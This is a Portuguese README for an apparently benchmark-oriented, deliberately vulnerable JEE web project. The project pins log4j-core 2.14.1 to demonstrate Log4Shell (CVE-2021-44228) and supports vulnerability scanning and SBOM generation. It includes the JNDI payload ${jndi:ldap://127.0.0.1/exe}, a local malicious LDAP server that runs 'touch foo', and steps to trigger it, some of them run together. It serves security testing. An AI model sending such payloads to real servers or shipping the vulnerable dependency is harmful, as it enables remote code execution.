
projeto web JEE com vulnerabilidade log4shell (CVE-2021-44228)
Este é um projeto web simples com uma vulnerabilidade log4shell.
O projeto define um serviço get simples scabench.HelloWorldService que retorna uma string de texto simples hello world.
O serviço não espera parâmetros e, se parâmetros forem encontrados, um erro é registado.
A dependência vulnerável é org.apache.logging.log4j:log4j-core:2.14.1, a vulnerabilidade é CVE-2021-44228.
Isto requer unix ou macos. É fácil portar este projeto para windows.
Um teste unitário é fornecido para demonstrar a vulnerabilidade. O teste requer um servidor ldap que forneça código vulnerável; o executável correspondente é fornecido pelo projeto e está definido em um projeto separado https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept baseado em https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept. A fixture de teste tratará da inicialização e do encerramento do servidor ldap.
O teste criará um ficheiro foo com base em um comando codificado embutido no código do servidor ldap ao qual o log4j se conecta
(touch foo). Este servidor pode ser controlado por um atacante.
Para executar o teste, construa o projeto com mvn test.
mvn jetty:runjava -jar dodgy-ldap-server.jar (o código vulnerável fará o download do código Java deste servidor)http://localhost:8080/; este site contém um formulário pré-preenchido com um payload malicioso ${jndi:ldap://127.0.0.1/exe}foo no servidorExistem vários scripts sh para executar diferentes análises; os relatórios de resultados podem ser encontrados em scan-results.
O pom.xml tem um plugin para gerar um SBOM no formato CycloneDX.
Para fazer isso, execute mvn cyclonedx:makePackageBom; o SBOM pode ser encontrado em
target/ nos formatos json e xml.